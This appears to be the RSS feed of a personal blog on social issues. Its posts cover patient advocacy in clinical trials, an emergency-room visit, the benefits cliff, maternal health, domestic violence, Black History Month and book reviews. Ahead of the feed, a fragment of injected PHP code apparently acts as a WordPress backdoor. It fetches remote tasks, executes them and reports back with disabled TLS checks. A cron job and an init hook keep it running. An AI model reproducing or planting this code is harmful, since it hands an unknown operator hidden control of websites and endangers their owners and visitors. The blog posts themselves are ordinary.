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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Social Issues – Tobioloyede https://tobioloyede.com Delving into daily life issues to foster change Sat, 12 Sep 2026 23:41:53 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://tobioloyede.com/wp-content/uploads/2022/12/cropped-Beige-Elegant-Personal-Business-Card-2-32x32.png Social Issues – Tobioloyede https://tobioloyede.com 32 32 Transforming Clinical Trials Through Early Engagement https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/ https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/#respond Mon, 09 Sep 2024 11:53:37 +0000 https://tobioloyede.com/?p=2399 Shifting the Landscape: How Early Engagement with Patient Advocacy Groups is Transforming Clinical Trials and Promoting Health Equity

Source 

Imagine a world where medical treatments work for everyone, regardless of background. In recent years, the landscape of clinical trials has been evolving, with an increasing emphasis on diversity and health equity. At the forefront of this shift is patient advocacy. This vision is becoming a reality as Patient Advocacy Groups (PAG) champion the cause of diversity and health equity in clinical trials. By partnering with these groups early in the research process, we’re changing how trials are conducted and transforming the entire healthcare landscape. Here’s how:

Why Diversity in Clinical Trials Matters

Clinical trials are the lifeblood of medical innovation, providing the critical data needed to develop new treatments. Yet, for too long, these trials have been skewed toward homogeneity, often excluding the very populations who stand to benefit the most.

Diverse clinical trials are essential because genetic, environmental, and socio-economic factors can significantly influence how different groups respond to treatments. Without inclusive research, we risk creating therapies that are less effective—or even harmful—for underrepresented populations. By ensuring a broad spectrum of participants, we pave the way for safer, more effective treatments for everyone.

The FDA’s Diversity Action Plan, released in June 2024, emphasizes the importance of promoting diversity in clinical trials and ensuring that treatments are safe and effective for all populations, which is echoed in the emphasis on early engagement with Patient Advocacy Groups (PAGs) to foster inclusive and patient-centered research.

The Game-Changing Role of Patient Advocacy and PAGs

Patient advocacy groups (PAGs) are revolutionizing the clinical trial landscape by championing the cause of diversity and health equity. Their involvement in clinical research is proving to be transformative, addressing long-standing issues and paving the way for more inclusive and effective medical treatments. Here’s how PAGs are making a significant impact:

1. Raising Awareness and Educating Communities

One of the most crucial roles of PAGs is raising awareness about the importance of clinical trials. Advocacy groups actively educate communities about the benefits of participating in trials, demystifying the process, and addressing common misconceptions. By leveraging their networks and outreach capabilities, PAGs help ensure that diverse populations are informed and engaged, increasing participation rates and helping to bridge the gap between researchers and underrepresented communities.

2. Building Trust and Bridging Gaps

Many historically marginalized communities have deep-seated mistrust of medical research due to past abuses and ongoing disparities. PAGs serve as trusted intermediaries, using their established relationships within these communities to foster trust and encourage participation in clinical trials. Their role as advocates helps to mitigate fears and overcome skepticism, facilitating more inclusive research practices and ensuring that diverse perspectives are considered.

3. Boosting Recruitment and Retention

Recruiting and retaining diverse participants in clinical trials can be challenging, but PAGs play a vital role in this process. They assist researchers in identifying potential participants from various backgrounds and offer support throughout the trial to enhance retention rates. This support includes providing culturally sensitive resources, addressing participant concerns, and ensuring that all participants feel valued and supported, which is crucial for trial success.

4. Providing Valuable Insights and Feedback

PAGs bring valuable insights into the design and implementation of clinical trials. By involving these groups early in the research process, researchers gain access to a wealth of knowledge about patient needs, preferences, and potential barriers to participation. This feedback helps design patient-centric trials that are more responsive to the real-world experiences of diverse populations, ultimately leading to better trial outcomes and more effective treatments.

5. Advocating for Policy Changes

Beyond individual trials, PAGs advocate for broader policy changes that promote diversity and health equity in clinical research. They work with policymakers and regulatory bodies to influence guidelines and standards that support inclusive practices. By championing these changes, PAGs help to create a more equitable research environment that benefits all patients.

Patient Advocacy's Power in Giving Voice to Minority Clients - North Shore Patient Advocates

Some Strategies for Enhancing Diversity and Equity (Interestingly, these also work for Early Patient Engagements—PAGs)

We must adopt and expand strategies promoting early engagements, diversity, and health equity in clinical trials.

  1. Foster Strong Partnerships: Develop robust collaborations between researchers, patient advocacy groups, and community organizations to amplify the reach and impact of clinical trials.

 

  1. Promote Cultural Competency: Train researchers and trial staff in cultural competency to better understand and address the unique needs of diverse populations.

 

  1. Design Patient-Centric Trials: Involve advocacy groups in designing and implementing clinical trials to ensure they are patient-centric and responsive to the needs of all participants irrespective of sexual orientation, gender, race/ethnicity, age, and other social factors.

 

  1. Communicate Transparently: Maintain open, honest communication with participants throughout the trial process, sharing results and acknowledging the vital contributions of all involved. Additionally, ensure that participants’ health literacy is considered; thus, health communication is key.

Conclusion

Early engagement with patient advocacy groups is transforming the landscape of clinical trials, making them more inclusive and representative. By prioritizing diversity and health equity, we can develop treatments that are effective for all populations, ultimately leading to a more equitable healthcare system. The collaboration between researchers and patient advocacy groups is a powerful force for change, paving the way for a future where every patient has access to the best possible care. Together, we can ensure that all people share the benefits of medical research, regardless of background or circumstance.

“If we want to make sure every patient has the best shot, we have to have diversity in clinical trials. The time is now.” – Dr. Freda Lewis-Hall

Sources:

Image 1: The Social Media VUCA-bulary! 

Image 2: Patient Advocacy’s Power in Giving Voice to Minority Clients—North Shore Patient Advocates

FDA Guidance Provides New Details on Diversity Action Plans Required for Certain Clinical Studies

]]> https://tobioloyede.com/transforming-clinical-trials-through-early-engagement/feed/ 0 A Night in the Emergency Room: Navigating Pain and Indifference https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/ https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/#respond Tue, 19 Dec 2023 02:05:45 +0000 https://tobioloyede.com/?p=2349 In life, unexpected events have a way of challenging our resilience. One such experience occurred recently when my friend found herself in the throes of a sickle cell crisis, and we had to rush her to the Emergency Room (ER). While this was not my first time visiting an ER, this visit was a rather unpleasant experience. We rushed quickly to the ER in a bid to get her urgent medical attention; little did we know that our journey to get treatment would be marred by indifference, delays, and a startling lack of empathy. What should have been a straightforward process turned into a night of frustration, indifference, and an agonizing wait.

The Arrival:

As we rushed to the ER, the gravity of the situation was evident in the pain etched all over my friend’s face and all over as she kept groaning and her legs gave out from underneath her. A blind person would have been aware of her groaning pain, but not the ER receptionist, who was seemingly more engrossed in casual conversations with security personnel than attending to patients. Upon arrival, she barely spared us a glance and nonchalantly redirected us to sit in the waiting area.

Hours of Waiting:

Time seemed to stand still as we languished in the waiting area, and hours felt like an eternity as my friends’ pain intensified. Several visits to the receptionist were met with lackadaisical responses and a recommendation to call an ambulance if we desired immediate treatment. The agony of the patients in the waiting room appeared oblivious to the waiting area staff, and patients were left unattended with no timeline for when a doctor or bed would be available for treatment.

Triage Troubles:

Ninety minutes after our arrival, we finally got to see a triage nurse. My friend was unable to walk unassisted, and we had to support her into the triage room. It was therefore surprising when the triage nurse, who was seemingly detached from the urgency of the situation, insisted on checking my friend’s height and weight before addressing her immediate pain crisis. The nurse appeared to be interested in whether my friend had suicidal thoughts versus addressing her actual pain. The only response my friend could muster was the location of the excruciating pain along her arm. Post-evaluation, we were informed that there were no available beds and subsequently redirected to the waiting area. Our hopes for respite were dashed as bureaucratic procedures took precedence over delivering swift and effective care. Despite our pleas, the urgency of the situation seemed lost on the medical staff, perpetuating a sense of helplessness in the ER. The disconnect between the reality of the crisis and the protocol-driven approach was disheartening.

The Quest for a Bed:

After enduring the seemingly endless wait, we were finally informed that there were no available beds. The realization that my friend’s pain would be prolonged due to a lack of resources after hours of agony was a devastating blow. It left us questioning the efficiency of the healthcare system and the prioritization of resources. How could a person in dire need be left to suffer due to a lack of basic accommodations? It was a stark reminder of the strain on our healthcare system and the toll it takes on those seeking immediate attention.

The Human Element:

What stood out most starkly from this nightmarish experience was the absence of empathy (this is not to say that we did not encounter 1-2 empathetic individuals, but for the most part, we were alone). Amid pain and vulnerability, we expected a modicum of compassion from healthcare professionals. Instead, we encountered a system that seemed to prioritize bureaucracy over humanity.

In conclusion, our night in the emergency room was a distressing experience, highlighting the shortcomings within our healthcare system. The indifference of the receptionist, the delays in response, and the bureaucratic hurdles in triage were all contributing factors to an already challenging situation. While the ER staff may be grappling with overwhelming caseloads, it is crucial to remember that empathy, urgency, and effective communication can make all the difference in alleviating the suffering of those seeking help in their most vulnerable moments. This experience serves as a poignant reminder of the need for compassion and efficiency within our healthcare system to ensure that every patient receives the timely and attentive care they deserve. Continuous improvement in healthcare processes is crucial to ensuring that the human element is never overshadowed by bureaucracy. In the face of adversity, compassion and efficiency must go hand in hand, providing solace to those who seek help in their darkest moments.

Note: Unfortunately, we experienced a similar approach, as we rushed my friend back to the ER the next day.

Featured Image Sources: Harvard Health Publishing and Penn Medicine

]]> https://tobioloyede.com/a-night-in-the-emergency-room-navigating-pain-and-indifference/feed/ 0 Understanding the Public Benefits Cliff: A Simple Introduction https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/ https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/#respond Thu, 02 Nov 2023 15:12:01 +0000 https://tobioloyede.com/?p=2312 In the United States, the safety net for low-income individuals and families comes in the form of public benefits programs. These programs, including Medicaid, SNAP (Supplemental Nutrition Assistance Program), housing assistance, and childcare subsidies, play a vital role in providing essential support to those in need (National Conference of State Legislatures, 2022). However, there is a hidden challenge within these systems known as the “public benefits cliff” that often hinders individuals as they strive to improve their financial situations. I did not understand until I interned as a Public Benefits Research intern at an organization where I focused on state policies and strategies, particularly childcare access, in a bid to mitigate the “public benefits cliff.”

Understanding the Public Benefits Cliff

According to Anderson et al. (2022), “public benefit programs have the potential to help stabilize families when their income drops and can provide support as parents enter or reenter the workforce.” The public benefits cliff refers to a situation in which a small increase in income can result in the abrupt loss of eligibility for one or more public assistance programs. Simply put, an individual or a family loses a certain public benefit because of as small as a $1 increase in wage or salary, even though that $1 or small increase cannot cover the public benefit they lose. This phenomenon occurs because these public benefit programs often have strict income limits. As a result, individuals and families find themselves in a precarious situation where earning more income may leave them worse off financially due to the loss of crucial benefits. Imagine striving to become financially independent by putting in more work that allows for an increase in your pay, but then there’s a recursion; you lose your public benefit and become more financially stranded.

 

Implications of the Benefits Cliff

  • Work Disincentive: One of the primary consequences of the public benefits cliff is that it can create a disincentive for individuals to seek higher-paying employment or work additional hours. The fear of losing essential benefits can discourage upward mobility (Fahe, 2022).
  • Financial Instability: Sudden loss of benefits can lead to financial instability, pushing individuals and families further into poverty and making it even harder for them to escape the cycle.
  • Limited Opportunities: The benefits cliff can trap individuals in low-wage jobs, preventing them from pursuing education or training that could lead to better-paying careers.
  • Health and Well-Being: Loss of healthcare coverage, often tied to employment and income, can have severe implications for the physical and mental health of affected individuals and their families.

 

Potential Solutions

Addressing the public benefits cliff is a complex task, but there are potential solutions to mitigate its negative effects:

  • Gradual Phase-Out: Reforming benefit programs to gradually phase out assistance as income increases rather than an abrupt cutoff could encourage people to earn more without the fear of losing all benefits at once.
  • Benefit Recalculation: Consider recalculating benefits on a more frequent basis to account for changing income levels. This would ensure that benefits align better with individuals’ current circumstances.
  • Improved Coordination: Better coordination among different assistance programs and agencies can help identify individuals who may be impacted by the cliff and provide targeted assistance (Headrick et al., 2022).
  • Support Services: Offer additional support services, such as job training, childcare assistance, and healthcare subsidies, to help individuals transition to higher-paying jobs.
  • Education and Awareness: Raise awareness among recipients about the benefits cliff and provide guidance on financial planning to navigate potential income increases effectively.

The public benefits cliff is a complex issue that affects many low-income individuals and families in the United States. While public assistance programs are essential for providing a safety net, the cliff effect can inadvertently create barriers to financial stability and upward mobility. By exploring and implementing potential solutions, we can work towards a system that encourages economic self-sufficiency while still providing necessary support to those in need. Addressing the public benefits cliff is a step toward creating a more equitable and just society for all. In a bid to mitigate the public benefits cliff, one of the tools that I utilized was the Federal Reserve Bank of Atlanta’s Career Ladder Identifier and Financial Forecaster (CLIFF) tools: CLIFF Snapshot, CLIFF Dashboard, and CLIFF Planner. Each tool is customized to fulfill the specific requirements of individuals at various phases of their careers. Our collaborative effort can help individuals and families build self-sufficiency. THE MORE WE LEARN!!!

Tell me and I forget, teach me and I may remember, involve me and I learn. — Benjamin Franklin

Image source: Pedro Perez and Circles Canada

Sources:

Anderson, T., Coffey, A., Daly, H., Hahn, H., Maag, E., & Werner, K. (2022, January 11). Balancing at the edge of the cliff. Urban Institute. https://www.urban.org/research/publication/balancing-edge-cliff

Headrick, G., Ruth, A., White, S. A., Ellison, C., Seligman, H., Bleich, S. N., & Moran, A. J. (2022). Integration and coordination across public benefit programs: insights from state and local government leaders in the United States. Preventive medicine re

ports, 31, 102077. https://doi.org/10.1016/j.pmedr.2022.102077

Introduction to benefits cliffsand public assistance programs. National Conference of State Legislatures. (n.d.). https://www.ncsl.org/human-services/introduction-to-benefits-cliffs-and-public-assistance-programs

The benefits cliff: Eliminating barriers to transitioning off public benefits. Fahe. (2022, July 28). https://fahe.org/the-benefits-cliff-eliminating-barriers-to-transitioning-off-public-benefits/

]]> https://tobioloyede.com/understanding-the-public-benefits-cliff-a-simple-introduction/feed/ 0 Maternal Health Awareness Day-2023 https://tobioloyede.com/maternal-health-awareness-day-2023/ https://tobioloyede.com/maternal-health-awareness-day-2023/#respond Mon, 23 Jan 2023 05:12:14 +0000 https://tobioloyede.com/?p=2192 For some time now, my research has focused solely on Maternal Health and without mincing words, doing this work comes with mixed feelings as I work particularly with women who have had adverse experiences giving birth in Georgia. Their narratives are eye-opening and traumatizing and I cannot but raise awareness about the menace of maternal mortality. Overall, I love my work as a budding maternal health specialist.

Today, January 23, 2023, we celebrate Maternal Health Awareness Day with the American College of Obstetricians and Gynecologists (ACOG). This year’s theme is“𝐊𝐧𝐨𝐰 𝐖𝐡𝐲.” According to the CDC, more than 80 percent of maternal deaths in the United States are preventable. To prevent these disheartening deaths, which are occurring at an increasing pace, it is necessary to understand why they are occurring. This year, ACOG will focus on uncovering the fundamental causes of maternal deaths and emphasize the significance of data in finding solutions to improve maternal health outcomes.

Maternal mortality has diverse and complex causes. According to ACOG, some questions to ask are: What are the underlying causes of maternal deaths that most affect the patient population in your community or state? What issues are significant to your organization? This year, the ACOG encourages you to identify your “why,” or the cause of maternal deaths that you wish to highlight. Regardless of your motivation, raising awareness about the causes of death during and after pregnancy brings us one step closer to ending the maternal mortality problem that plagues the United States.

This year, ACOG will concentrate on the two major causes of maternal mortality recognized by maternal mortality review committees and recently reported by the CDC: mental health problems and cardiovascular and coronary illnesses. Interestingly, my research focuses on maternal mental health conditions that serve as an underlying cause of pregnancy-related mortality; perinatal mental health. For #MaternalHealthAwarenessDay 2023, we need to Know Why the U.S. maternal mortality crisis is worsening. The causes are numerous and complex, but focusing on even just one can help make a difference. Choose what matters to you!

You can watch/listen to my podcast to learn more: YouTube Spotify Apple Podcast Google Podcast

Image Source: ACOG

 

 

 

 

 

 

]]> https://tobioloyede.com/maternal-health-awareness-day-2023/feed/ 0 Victim or Survivor https://tobioloyede.com/victim-or-survivor/ https://tobioloyede.com/victim-or-survivor/#respond Mon, 11 Apr 2022 04:00:00 +0000 https://tobioloyedesblog.wordpress.com/?p=515 Before we dig in, are you a victim or survivor, or do you know anyone who might fall into one of the categories? I did a thing in 2020, I studied the resilience of some women in Southwest Nigeria who were survivors of Intimate Partner Violence/Domestic Violence. I say survivors because they moved from being victims to survivors and they preferred to be referred to as Survivors. Note, I am not suggesting that males do not experience abuse in the homes, workplaces, or in relationships, my focus at the time was on married women. One important question you might want to ask me is “why women or is it because you’re a woman? But you’re not even married.

To answer the question of Why?

Experiences and preconceptions shape us into the people we are now as I have found in my journey. Wendy Sharer states, “I can encourage new scholars to find topics via their lived experiences because those experiences help us to recognize what is significant, even if we are not able to articulate a rational, ‘neutral’ reason for that significance.” Growing up was not or does not only remain traumatic for me, but it also drives my interest in social research on family and relationships among others. My interest draws, not only from lived experiences, but also from general intellectual interests. I hope you understand my justification.

I know what most researchers might basically focus on is the effect the abuse has on individuals, but I took a step forward to investigate how they cope despite the stress they undergo in their relationships. It is noteworthy that the phenomenon of domestic violence goes beyond a private family issue to a critical social and psychological one.

At the time of the research, most of my participants had left the abusive marriages and had either moved on to another marriage, done better with their lives/careers, or remained single parents. Unfortunately, the dents that the abuse had on them remained for some even if it was not strong.  They spoke about their experiences, it was traumatizing for me as a listener/researcher and retraumatizing for them as they share their stories. There were times we had to stop the interview for some participants so they could cry, yes let it out by crying.

Why am I writing all these? I am writing because when I hear stories of such abuse, I am pained, I am touched, and I always wished I could do more. Our upbringing as individuals, our decisions as individuals, our training as parents, our pieces of advice as friends, our government, our culture, our leaders (Church, Mosque, anywhere), our social constructs on family matters, relationships, parenthood, and so on play a significant role in what we see in our society today. For some people, a few of these combinations affect them, while for others all of these affect them.

I have heard “I stayed, or I am staying because of my children,” my dear if you die, the children will still live, and you would not want them going through life trying to live without you. If you are worried about what society will say, no doubt they will talk, but it will be temporal.

My take on what the victim might do

  • Believe in yourself because the abuser always wants you to feel unworthy or small about yourself.
  • Seek voices of encouragement-speak up, seek help
  • Set a boundary line- it won’t be easy trust me (boundaries are not an easy thing for some of us). You just might need to cut the abuser off to live your life.

For those who are not victims

  • Listen-I say this emphatically, listen to them, take them seriously
  • Act with wisdom
  • Be honest-not criticize
  • In all, respect their boundaries

I say my take because it is my suggestion, my opinion.

Here’s a link to My Research on IPV to read my previous research. It’s a long read but you can use the table of content to go to chapters you find interesting.

“It is not the bruises on the body that hurt. It is the wounds of the heart and the scars on the mind.”

— Aisha Mirza
]]> https://tobioloyede.com/victim-or-survivor/feed/ 0 The Struggle is Real https://tobioloyede.com/the-struggle-is-real/ https://tobioloyede.com/the-struggle-is-real/#respond Mon, 21 Feb 2022 05:41:35 +0000 https://tobioloyedesblog.wordpress.com/?p=511 I have a lot I want to say and here is a warning before you dig into reading, I will be saying a lot in part. This is because the best way to put out my idea is through my podcast “Metamorphosis with Tobi” or on my blog.

Just because it is still Black history month, and we are really pushing for this thing called “Diversity.” I am certain I am not the only one thinking about the spread of the so-called Diversity, especially in February Black History Month. It makes me wonder if the diversity that these companies or schools display on social media is true. You see advertisements, posters, quotes, and all from companies, they use a black person or a person of color just to show diverse and inclusive they are in employing workers in their establishments.  I am not oblivious to the reality that yes there are those who are diverse or striving genuinely to do it. I have heard personal stories of how during Black History month, a person of color’s picture will be put up but, such a person is treated otherwise. I know that there are those who are genuine and treat people of color justly, but this is for those who pretend.

Walker-DeVose et al. (2019), “Diversity is reviewed as inherently benefiting white students as ‘students  of  color  are  admitted  so  that  they  can  help  White  students become more racially tolerant, liven up class dialog, and prepare white students for getting a job in a multicultural, global economy” (p.357). Okay, I am in shock. The educational sphere is not left out. Asides from the issue of being a person of color which naturally makes you a minority student, have you tried counting how many of your professors are people of color. I may be wrong, but I am aware that these things sometimes have little to do with departments. For instance, we may have more Asians in Chemistry or mostly white people in the criminal justice department.

Porter et al. (2020) research draws my attention, “Just being present on campus in full-time faculty positions does not mean Black women are welcomed with open arms into the academy, given the necessary support to progress through tenure and promotion, or paid equally for their labor” (p.678). On average, once you are not white, the struggle is real. Multiple jeopardies is a form of oppression that a black woman deals with all her life. Even in academia, her being, survival, visibility, and relevance are based on a narrow and sectional set of expectations from her white, male colleagues. Then, this brings me to the issue of citational politics.

It is interesting to know that citational politics is an issue in 2021. “Cite Black Women is a Black feminist intellectual project, praxis, and global movement to decolonize the practice of citation by redressing epistemic erasure of Black women from the literal and figurative bibliographies of the world” (Smith 2021, p.12). If we keep citing white, male authors or a particular set of people, it means that knowledge is drawn from a limited/divided set of experiences. Thus, higher education is in dire need of decolonization. You do it, I do it, we do it unintentionally.

Note, even the term “Person of Color” infuriates me because I wonder if being black indicates the color black, then white is what, not a color?

What do you think about slavery? If you think it has ended, then you are misled. Bryan Stevenson says, ‘slavery didn’t end in 1865, it just evolved.’ I am angry, and my anger is a response to injustice. My anger is not that of the whites’ “controlling image or stereotype” that is being used to naturally describe a black woman as an angry woman.

I think I just put my keyboard to rest here, all cannot be said in one post. I leave to write another day.

References

Porter, C. J., Moore, C. M., Boss, G. J., Davis, T. J., & Louis, D. A. (2020). To Be Black Women and Contingent Faculty: Four Scholarly Personal Narratives. Journal of Higher Education, 91(5), 674-697. https://doi.org/10.1080/00221546.2019.1700478

https://www.cnn.com/2018/12/07/politics/bryan-stevenson-axe-files/index.html

Walker-DeVose, D. C., Dawson, A., Schueths, A. M., Brimeyer, T., & Freeman, J. Y. (2018, November 30). Southern assumptions: Normalizing racialized structures at a university in the Deep South. Race, Ethnicity and Education. Retrieved February 21, 2022, from https://eric.ed.gov/?id=EJ1206633  

]]> https://tobioloyede.com/the-struggle-is-real/feed/ 0 Black History Month is Here https://tobioloyede.com/black-history-month-is-here/ https://tobioloyede.com/black-history-month-is-here/#respond Wed, 02 Feb 2022 04:54:00 +0000 https://tobioloyedesblog.wordpress.com/?p=402 This post was originally published in February 2021 and has been updated.

Black history month gives you an opportunity to understand black history, what it used to be, what it means now, racism, slavery, and black achievement. To understand the present, it is vital that we engage ourselves with history. Importantly, this year’s theme is Black Health and Wellness. This theme focuses on the significance of Black Health and Wellness by giving credence to black scholars and how healthcare underserves the black community.

I must confess that in all my few years of study, this year, I really put my heart into studying the history of the black community. I must say, it is hard to be black and much harder to be a black woman. Hence, the justification for Black Feminism (a topic for another day). To have a slight grasp, you can read about the works of the like of Maria Miller Stewart, Sojourner Truth, Ida Wells Barnett, the Combahee River Collective among others.

Since 1976, Black History Month is celebrated each February in the United States. This time, February, is allocated to celebrating the accomplishments of African and African American descent. In the 1920s, it started as a week-long celebration and now has inspired several communities and events. We have communities, museums, government agencies, campuses and so on come together to acknowledge the contributions and impacts of African descents not only in the United State, but the world at large.

The Black History Month 2021 was themed, “Black Family: Representation, Identity, and Diversity”  which examines Africans in diaspora, and the expansion of Black families across the United States.

The Man behind the “Black History Month”

As the son of former slaves, Carter G. Woodson grew up working in quarries and coal mines. He is regarded as the pioneer of the movement/vision as I would like to call it. He is the author of several books that focus on blacks and their contributions to the development of America.

According to the National Association for the Advancement of Colored People, “Dr. Woodson often said that he hoped the time would come when Negro History Week would be unnecessary; when all Americans would willingly recognize the contributions of Black Americans as a legitimate and integral part of the history of this country.” We look forward to that time when we would see ourselves as One-humanity and do away with the discriminatory terms “whites/blacks and so on.”[1]

Why February?

Are you like me, wondering why the month of February and not any other month?

Woodson strategically chose the month of February and specifically the second week because of two important personnel whom he respected. To him, Frederick Douglass and President Abraham Lincoln greatly influenced the black American populace and their birthday were on the 14th and 12th of February respectively.[2]

Even as we celebrate Black History month, I remain bothered with a few questions. Is Black History Month is still relevant? Is it still a medium for the anticipated change? Or has Black History Month become a time when the media put up their black materials and everyone around just want to show off or even just post something on social media?

There remains a chasm within the black community that needs to be closed not only for us to be able to think about how far we have come, but how farther we can go together.

“My humanity is bound up in yours, for we can only be human together.”
—Desmond Tutu

https://www.naacp.org/naacp-history-carter-g-woodson/

https://www.cnn.com/2021/02/01/us/history-of-black-history-month-trnd/index.html

Sources

[1] https://www.naacp.org/naacp-history-carter-g-woodson/

[2] https://www.cnn.com/2021/02/01/us/history-of-black-history-month-trnd/index.html

]]> https://tobioloyede.com/black-history-month-is-here/feed/ 0 Book Review of “Nearly All The Men In Lagos Are Mad” https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/ https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/#comments Sat, 29 Jan 2022 19:20:29 +0000 https://tobioloyedesblog.wordpress.com/?p=494
Source

It is no news that Lagos is for the crazy at heart, just as a friend of mine sums it, it is a dramatic state in all areas. This book is a collection of twelve short stories about the unique form of madness that goes on in Lagos especially among men. It tells relatable stories about the hurdles women go through to find love in Lagos. It’s hard to find love in Lagos, if you do, it becomes harder to keep. It cannot be overemphasized that the men in Lagos are indeed mad, and Damilare Kuku just wittingly underscores it in this book. These relatable short stories range from situations about opportunists, cheats, married men, mummy’s boy, to narcissists.

No doubt, astonishment, and belly laugh from this book will leave you in stitches. I was both satisfied and hungry for more. Let me slightly introduce you to Damilare Kuku’s crazy world.

Damilare Kuku- the writer of the book

“Cuck-Up,” the first story is about a woman with a deadbeat husband who manipulates her into sleeping with another man for money and ends up gaslighting her and the twist is, he cheats on her with younger girls. At the end of this story, my stomach is filled with butterflies as she realizes her worth during the family meeting set for her because she told her husband she was going to cut off his penis. “One last thing—if Lukumon doesn’t move out of this house, I will cut off his penis and use it for money rituals.” Go, sis! Sense is coming your way.

In “The Gigolo from Isale-Eko,” the story of Ignatius, a chronic womanizer who goes to any extent all in the name of having a woman. He sets off quickly once his aim is achieved. He marries and unmarries as he pleases- let’s say he goes with the flow.

One of my favorites is the story titled “Ode-Pus Complex.” It is about a Yoruba lady, Yejide, and an Igbo guy, Uche. If you’re familiar with Sigmund Freud’s psychoanalytic theory in his book entitled The Interpretation of Dreams, you will have a clear understanding of what to find in this story. Uche is clearly a mummy’s boy, who finds it uneasy to break ties with “mummy.” For her so-called prized son, Uche, mummy sets standards and conditions that Yejide must meet in order to marry her son. This mummy’s boy thingy infuriates my stomach.

The themes to find in the pages of this book are spousal deceit, tribalism, gender, adultery, bisexuality, and class. Personally, some of the stories had an abrupt ending that left me puzzled. The sexual content was somewhat exhausting. Yet, the experiences of madness and the energy in this book are supreme.

Do not worry, I will not over-spill the tea. I just wanted you to have a taste of the book. There are several other stories in the book, but I must remind you that this is a relatable masterpiece. Lagos was, is, and remains a jungle not only for the brave at heart but mainly for the “mad” at heart.

If you are someone like me who does not like to read lengthy stories or are a slow reader, try this book and you will thank me later. You can get the book from Amazon or click here

]]> https://tobioloyede.com/book-review-of-nearly-all-the-men-in-lagos-are-mad/feed/ 4 What Do You Know about Experiencing Violence? https://tobioloyede.com/what-do-you-know-about-experiencing-violence/ https://tobioloyede.com/what-do-you-know-about-experiencing-violence/#respond Mon, 06 Dec 2021 15:32:33 +0000 https://tobioloyedesblog.wordpress.com/?p=479
Source: Trauma Therapy for Healing

As a master’s student, I was convinced that I wanted to research into the lives of women who had or are experiencing intimate partner violence or domestic violence. You may be wondering why such an area despite the numerous grey research areas available. I say boldly that my personal experiences and intellectual interests captivated me.

Having listened to victims’ stories, used them for my research by giving them a voice, I would think that would be it. One would think I have my thesis already and I can probably forget or move on like that was just a phase that could appear like it was never there. Remember, I mentioned personal experiences, it remains some sort of trauma that has stuck with me since I listened to their stories (this can be both secondary trauma and vicarious trauma).

Wondering why I am writing this, I recently noticed myself slightly changing. I may not be one that is super audible when it comes to issues of domestic violence, IPV, or child abuse, but it remains a painful and significant part of me. The idea that someone who claims to love you (or even a place you call home, which is supposed to be a haven but is not) is the same one who intentionally hurt you is hard to wrap one’s mind around.

As a young girl, I had seen many images of what IPV/domestic violence looks like. From images of battered and bruised individuals to stories that had been told. Trust me, my research interest is valid. Recently, I have become a somewhat angry person when people talk or take likely the issues of violence. To an extent that whenever I see movies with domestic violence/IPV scenes, I take it so seriously that anyone around me would question why I am so serious when it is just a movie. Personally, it goes beyond just a storyline, it is a form of literature, and it cannot be overemphasized that it is a reflection of humanity; our experiences and opinions.

Kudos to everyone out there pushing for justice, recovery, and a sane society via help organizations, non-profits, government organizations, and so on who take walks and talks for this cause. It is with humility that I say this, “I hope you know that the scars and trauma from experiencing violence go beyond taking walks, wearing customized clothing, carrying placards or banners, or sharing even pamphlets. It is intense and immeasurable.” I hope that the next time you want to do any of those, that you deeply have a sense of understanding.

Then again I ask, “What do you know about people who have or are experiencing domestic violence or intimate partner violence or even child abuse?”…think about it.

“We each survive in our own way.”
― Sarah J. Maas

]]> https://tobioloyede.com/what-do-you-know-about-experiencing-violence/feed/ 0 Grieving https://tobioloyede.com/grieving/ https://tobioloyede.com/grieving/#comments Mon, 04 Oct 2021 00:20:01 +0000 https://tobioloyedesblog.wordpress.com/?p=456 Review of ‘Notes on Grief’ by Chimamanda Ngozi Adichie

In many Western cultures, particularly Great Britain and in the United States, the grief memoir remains a sought-after genre due to its form of public morning and occasional self-therapy. Here, the bereaved is in search of meaning amid pain or hurt. The kind of pain that comes with the death of a parent, child, sibling, or a loved one. This pain no doubt leaves one bereft of meaning and turns one’s world upside down such that language itself becomes somewhat useless. How can words fulfil its responsibility of giving meaning, meaning to silence, meaning to a shapeless encounter. Emily Dickinson engulfs the effort of language’s attempt to give meaning in her words, “To attempt to speak of what has been, would be impossible. Abyss has no biographer.”

For over two decades, autobiographical writing, talk shows about deep life details, especially memoir of loss has emerged as a notable literary genre, breaking silence by giving voice to loss/grief in a broad and open-minded way. It is noteworthy that grief/loss memoirs are highly relational. Grief remains a reality or experience that tries to annihilate the expressive role of language and boundaries of time such that influential memoirs like Blake Morrison’s And When Did You Last See Your Father? Marion Coutts’s The Iceberg among others grappled with expounding answers to it. It cannot be said affirmatively that the dead is gone or the relationship with them is over. We have our times and experiences with them differently.

